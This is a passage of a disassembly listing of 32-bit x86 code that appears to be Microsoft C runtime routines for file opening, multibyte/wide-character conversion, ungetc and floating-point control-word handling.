cmp [ebp+var_48], 400h
jz short loc_431679
cmp [ebp+var_48], 200h
jg short loc_431651
cmp [ebp+var_48], 200h
jz short loc_431694
cmp [ebp+var_48], 0
jz short loc_431679
cmp [ebp+var_48], 100h
jz short loc_431682
jmp short loc_4316A6
; ---------------------------------------------------------------------------
loc_431651: ; CODE XREF: sub_4314E0+155j
cmp [ebp+var_48], 300h
jz short loc_43169D
jmp short loc_4316A6
; ---------------------------------------------------------------------------
loc_43165C: ; CODE XREF: sub_4314E0+143j
cmp [ebp+var_48], 500h
jz short loc_43168B
cmp [ebp+var_48], 600h
jz short loc_431694
cmp [ebp+var_48], 700h
jz short loc_43168B
jmp short loc_4316A6
; ---------------------------------------------------------------------------
loc_431679: ; CODE XREF: sub_4314E0+14Cj
; sub_4314E0+164j
mov [ebp+var_18], 3
jmp short loc_4316C4
; ---------------------------------------------------------------------------
loc_431682: ; CODE XREF: sub_4314E0+16Dj
mov [ebp+var_18], 4
jmp short loc_4316C4
; ---------------------------------------------------------------------------
loc_43168B: ; CODE XREF: sub_4314E0+183j
; sub_4314E0+195j
mov [ebp+var_18], 1
jmp short loc_4316C4
; ---------------------------------------------------------------------------
loc_431694: ; CODE XREF: sub_4314E0+15Ej
; sub_4314E0+18Cj
mov [ebp+var_18], 5
jmp short loc_4316C4
; ---------------------------------------------------------------------------
loc_43169D: ; CODE XREF: sub_4314E0+178j
mov [ebp+var_18], 2
jmp short loc_4316C4
; ---------------------------------------------------------------------------
loc_4316A6: ; CODE XREF: sub_4314E0+16Fj
; sub_4314E0+17Aj ...
call sub_429A90
mov dword ptr [eax], 16h
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_4316C4: ; CODE XREF: sub_4314E0+1A0j
; sub_4314E0+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_431715
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, ds:dword_4F32F4
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_431715
mov [ebp+var_28], 1
loc_431715: ; CODE XREF: sub_4314E0+1F6j
; sub_4314E0+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_431737
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_431737: ; CODE XREF: sub_4314E0+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_43174C
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_43174C: ; CODE XREF: sub_4314E0+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_431763
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_431779
; ---------------------------------------------------------------------------
loc_431763: ; CODE XREF: sub_4314E0+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_431779
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_431779: ; CODE XREF: sub_4314E0+281j
; sub_4314E0+28Bj
call sub_430B60
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4317A5
call sub_429A90
mov dword ptr [eax], 18h
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_4317A5: ; CODE XREF: sub_4314E0+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:off_4F53C0
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_4317F1
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
call sub_4299F0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_431100
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_4317F1: ; CODE XREF: sub_4314E0+2ECj
mov ecx, [ebp+var_4]
push ecx
call ds:dword_4F5314 ; GetFileType
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_431831
mov edx, [ebp+var_4]
push edx
call ds:off_4F533C
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
call sub_4299F0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_431100
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_431831: ; CODE XREF: sub_4314E0+322j
cmp [ebp+var_C], 2
jnz short loc_431842
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_431851
; ---------------------------------------------------------------------------
loc_431842: ; CODE XREF: sub_4314E0+355j
cmp [ebp+var_C], 3
jnz short loc_431851
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_431851: ; CODE XREF: sub_4314E0+360j
; sub_4314E0+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call sub_430D50
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_43198F
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_43198F
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_43198F
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_42E570
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_431901
call sub_429AA0
cmp dword ptr [eax], 83h
jz short loc_4318FC
mov edx, [ebp+var_14]
push edx
call sub_422CB0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_431100
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_4318FC: ; CODE XREF: sub_4314E0+3FAj
jmp loc_43198F
; ---------------------------------------------------------------------------
loc_431901: ; CODE XREF: sub_4314E0+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_427380
add esp, 0Ch
test eax, eax
jnz short loc_431959
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_431959
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_435EC0
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_431959
mov eax, [ebp+var_14]
push eax
call sub_422CB0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_431100
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_431959: ; CODE XREF: sub_4314E0+439j
; sub_4314E0+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_42E570
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_43198F
mov eax, [ebp+var_14]
push eax
call sub_422CB0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_431100
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_4319EA
; ---------------------------------------------------------------------------
loc_43198F: ; CODE XREF: sub_4314E0+3B0j
; sub_4314E0+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_4319DB
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_4319DB
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4F36C0[edx*4]
mov [edx+eax+4], cl
loc_4319DB: ; CODE XREF: sub_4314E0+4B8j
; sub_4314E0+4C2j
mov eax, [ebp+var_14]
push eax
call sub_431100
add esp, 4
mov eax, [ebp+var_14]
loc_4319EA: ; CODE XREF: sub_4314E0+C2j
; sub_4314E0+12Bj ...
mov esp, ebp
pop ebp
retn
sub_4314E0 endp
; ---------------------------------------------------------------------------
off_4319EE dd offset loc_4315CE ; DATA XREF: sub_4314E0+E7r
dd offset loc_4315D7
dd offset loc_4315E0
dd offset loc_4315E9
dd offset loc_4315F2
byte_431A02 db 0 ; DATA XREF: sub_4314E0+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A40 proc near ; CODE XREF: sub_427CE0+127p
; sub_429C90+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jb short loc_431A52
xor eax, eax
jmp short loc_431A70
; ---------------------------------------------------------------------------
loc_431A52: ; CODE XREF: sub_431A40+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_431A70: ; CODE XREF: sub_431A40+10j
pop ebp
retn
sub_431A40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A80 proc near ; CODE XREF: sub_427F60+3CAp
; sub_427F60+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_431AB8
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_4], 1
jmp short loc_431ABF
; ---------------------------------------------------------------------------
loc_431AB8: ; CODE XREF: sub_431A80+18j
mov [ebp+var_4], 0
loc_431ABF: ; CODE XREF: sub_431A80+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431B00
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_431AE5
push 13h
call sub_423320
add esp, 4
jmp short loc_431AF0
; ---------------------------------------------------------------------------
loc_431AE5: ; CODE XREF: sub_431A80+57j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_431AF0: ; CODE XREF: sub_431A80+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_431A80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431B00 proc near ; CODE XREF: sub_431A80+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_431B13
xor eax, eax
jmp loc_431B9C
; ---------------------------------------------------------------------------
loc_431B13: ; CODE XREF: sub_431B00+Aj
cmp ds:dword_4F33F8, 0
jnz short loc_431B4A
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_431B3B
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_431B9C
; ---------------------------------------------------------------------------
loc_431B3B: ; CODE XREF: sub_431B00+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_431B9C
; ---------------------------------------------------------------------------
loc_431B4A: ; CODE XREF: sub_431B00+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, ds:dword_453DF0
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, ds:dword_4F3408
push ecx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_431B89
cmp [ebp+var_8], 0
jz short loc_431B99
loc_431B89: ; CODE XREF: sub_431B00+81j
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_431B9C
; ---------------------------------------------------------------------------
loc_431B99: ; CODE XREF: sub_431B00+87j
mov eax, [ebp+var_4]
loc_431B9C: ; CODE XREF: sub_431B00+Ej
; sub_431B00+39j ...
mov esp, ebp
pop ebp
retn
sub_431B00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431BA0 proc near ; CODE XREF: sub_429E90+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_431BD8
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_4], 1
jmp short loc_431BDF
; ---------------------------------------------------------------------------
loc_431BD8: ; CODE XREF: sub_431BA0+18j
mov [ebp+var_4], 0
loc_431BDF: ; CODE XREF: sub_431BA0+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_431C20
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_431C08
push 13h
call sub_423320
add esp, 4
jmp short loc_431C13
; ---------------------------------------------------------------------------
loc_431C08: ; CODE XREF: sub_431BA0+5Aj
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_431C13: ; CODE XREF: sub_431BA0+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_431BA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431C20 proc near ; CODE XREF: sub_431BA0+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_431C26: ; CODE XREF: sub_431C20+3Aj
cmp ds:dword_453DF0, 1
jz short loc_431C56
cmp ds:dword_453DF0, 2
jz short loc_431C56
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset dword_43D790
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_431C56
int 3 ; Trap to Debugger
loc_431C56: ; CODE XREF: sub_431C20+Dj
; sub_431C20+16j ...
xor eax, eax
test eax, eax
jnz short loc_431C26
cmp [ebp+arg_4], 0
jz short loc_431C68
cmp [ebp+arg_8], 0
jnz short loc_431C6F
loc_431C68: ; CODE XREF: sub_431C20+40j
xor eax, eax
jmp loc_431D79
; ---------------------------------------------------------------------------
loc_431C6F: ; CODE XREF: sub_431C20+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_431C8E
cmp [ebp+arg_0], 0
jz short loc_431C87
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_431C87: ; CODE XREF: sub_431C20+5Dj
xor eax, eax
jmp loc_431D79
; ---------------------------------------------------------------------------
loc_431C8E: ; CODE XREF: sub_431C20+57j
cmp ds:dword_4F33F8, 0
jnz short loc_431CB4
cmp [ebp+arg_0], 0
jz short loc_431CAA
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_431CAA: ; CODE XREF: sub_431C20+7Bj
mov eax, 1
jmp loc_431D79
; ---------------------------------------------------------------------------
loc_431CB4: ; CODE XREF: sub_431C20+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_431D3D
cmp ds:dword_453DF0, 1
jle short loc_431D10
mov edx, [ebp+arg_8]
cmp edx, ds:dword_453DF0
jl short loc_431D10
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, ds:dword_453DF0
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, ds:dword_4F3408
push ecx
call ds:dword_4F5454 ; MultiByteToWideChar
test eax, eax
jnz short loc_431D36
loc_431D10: ; CODE XREF: sub_431C20+B7j
; sub_431C20+C2j
mov edx, [ebp+arg_8]
cmp edx, ds:dword_453DF0
jb short loc_431D26
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_431D36
loc_431D26: ; CODE XREF: sub_431C20+F9j
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_431D79
; ---------------------------------------------------------------------------
loc_431D36: ; CODE XREF: sub_431C20+EEj
; sub_431C20+104j
mov eax, ds:dword_453DF0
jmp short loc_431D79
; ---------------------------------------------------------------------------
loc_431D3D: ; CODE XREF: sub_431C20+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, ds:dword_4F3408
push edx
call ds:dword_4F5454 ; MultiByteToWideChar
test eax, eax
jnz short loc_431D74
call sub_429A90
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_431D79
; ---------------------------------------------------------------------------
loc_431D74: ; CODE XREF: sub_431C20+142j
mov eax, 1
loc_431D79: ; CODE XREF: sub_431C20+4Aj
; sub_431C20+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_431C20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_431D80 proc near ; CODE XREF: sub_429E90+9D7p
; sub_429E90+A65p ...
cmp cl, 40h
jnb short loc_431D9A
cmp cl, 20h
jnb short loc_431D90
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_431D90: ; CODE XREF: sub_431D80+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_431D9A: ; CODE XREF: sub_431D80+3j
xor eax, eax
xor edx, edx
retn
sub_431D80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_431DA7: ; CODE XREF: _0:00431DCFj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_431DCB
push offset dword_43C504
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_431DCB
int 3 ; Trap to Debugger
loc_431DCB: ; CODE XREF: _0:00431DABj _0:00431DC8j
xor eax, eax
test eax, eax
jnz short loc_431DA7
mov ecx, [ebp+0Ch]
push ecx
call sub_422420
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_431E10
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_422490
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431E10 proc near ; CODE XREF: sub_42B330+11p
; _0:00431DE5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_431E17: ; CODE XREF: sub_431E10+2Fj
cmp [ebp+arg_4], 0
jnz short loc_431E3B
push offset dword_43C514
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_431E3B
int 3 ; Trap to Debugger
loc_431E3B: ; CODE XREF: sub_431E10+Bj
; sub_431E10+28j
xor eax, eax
test eax, eax
jnz short loc_431E17
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_431E77
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_431E7F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_431E77
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_431E7F
loc_431E77: ; CODE XREF: sub_431E10+3Bj
; sub_431E10+58j
or eax, 0FFFFFFFFh
jmp loc_431F47
; ---------------------------------------------------------------------------
loc_431E7F: ; CODE XREF: sub_431E10+48j
; sub_431E10+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_431E94
mov eax, [ebp+var_4]
push eax
call sub_4313D0
add esp, 4
loc_431E94: ; CODE XREF: sub_431E10+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_431EBF
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_431EB2
or eax, 0FFFFFFFFh
jmp loc_431F47
; ---------------------------------------------------------------------------
loc_431EB2: ; CODE XREF: sub_431E10+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_431EBF: ; CODE XREF: sub_431E10+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_431EFD
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_431EFB
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_431F47
; ---------------------------------------------------------------------------
loc_431EFB: ; CODE XREF: sub_431E10+D7j
jmp short loc_431F14
; ---------------------------------------------------------------------------
loc_431EFD: ; CODE XREF: sub_431E10+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_431F14: ; CODE XREF: sub_431E10:loc_431EFBj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_431F47: ; CODE XREF: sub_431E10+6Aj
; sub_431E10+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_431E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431F50 proc near ; CODE XREF: sub_42BE60+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_431F50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_432350
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_432350
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431FA0 proc near ; CODE XREF: sub_431FF0+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_432070
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_4321F0
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_431FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431FF0 proc near ; CODE XREF: sub_42C3B0+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_431FA0
add esp, 8
pop ebp
retn
sub_431FF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_430A90
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_42C3B0
cmp dword ptr [ebp-4], 0
jz short loc_432061
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_432061
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_432061: ; CODE XREF: _0:0043202Ej _0:0043203Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432070 proc near ; CODE XREF: sub_431FA0+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_432095
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_432095: ; CODE XREF: sub_432070+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_4320AD
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_4320AD: ; CODE XREF: sub_432070+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_4320C6
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_4320C6: ; CODE XREF: sub_432070+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_4320DE
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_4320DE: ; CODE XREF: sub_432070+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_4320F6
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_4320F6: ; CODE XREF: sub_432070+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_432112
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_432112: ; CODE XREF: sub_432070+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_432145
cmp [ebp+var_8], 800h
jz short loc_432158
cmp [ebp+var_8], 0
jz short loc_432150
cmp [ebp+var_8], 400h
jz short loc_432163
jmp short loc_432177
; ---------------------------------------------------------------------------
loc_432145: ; CODE XREF: sub_432070+B9j
cmp [ebp+var_8], 0C00h
jz short loc_43216E
jmp short loc_432177
; ---------------------------------------------------------------------------
loc_432150: ; CODE XREF: sub_432070+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_432177
; ---------------------------------------------------------------------------
loc_432158: ; CODE XREF: sub_432070+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_432177
; ---------------------------------------------------------------------------
loc_432163: ; CODE XREF: sub_432070+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_432177
; ---------------------------------------------------------------------------
loc_43216E: ; CODE XREF: sub_432070+DCj
mov ecx, [ebp+var_4]
or ch, 3
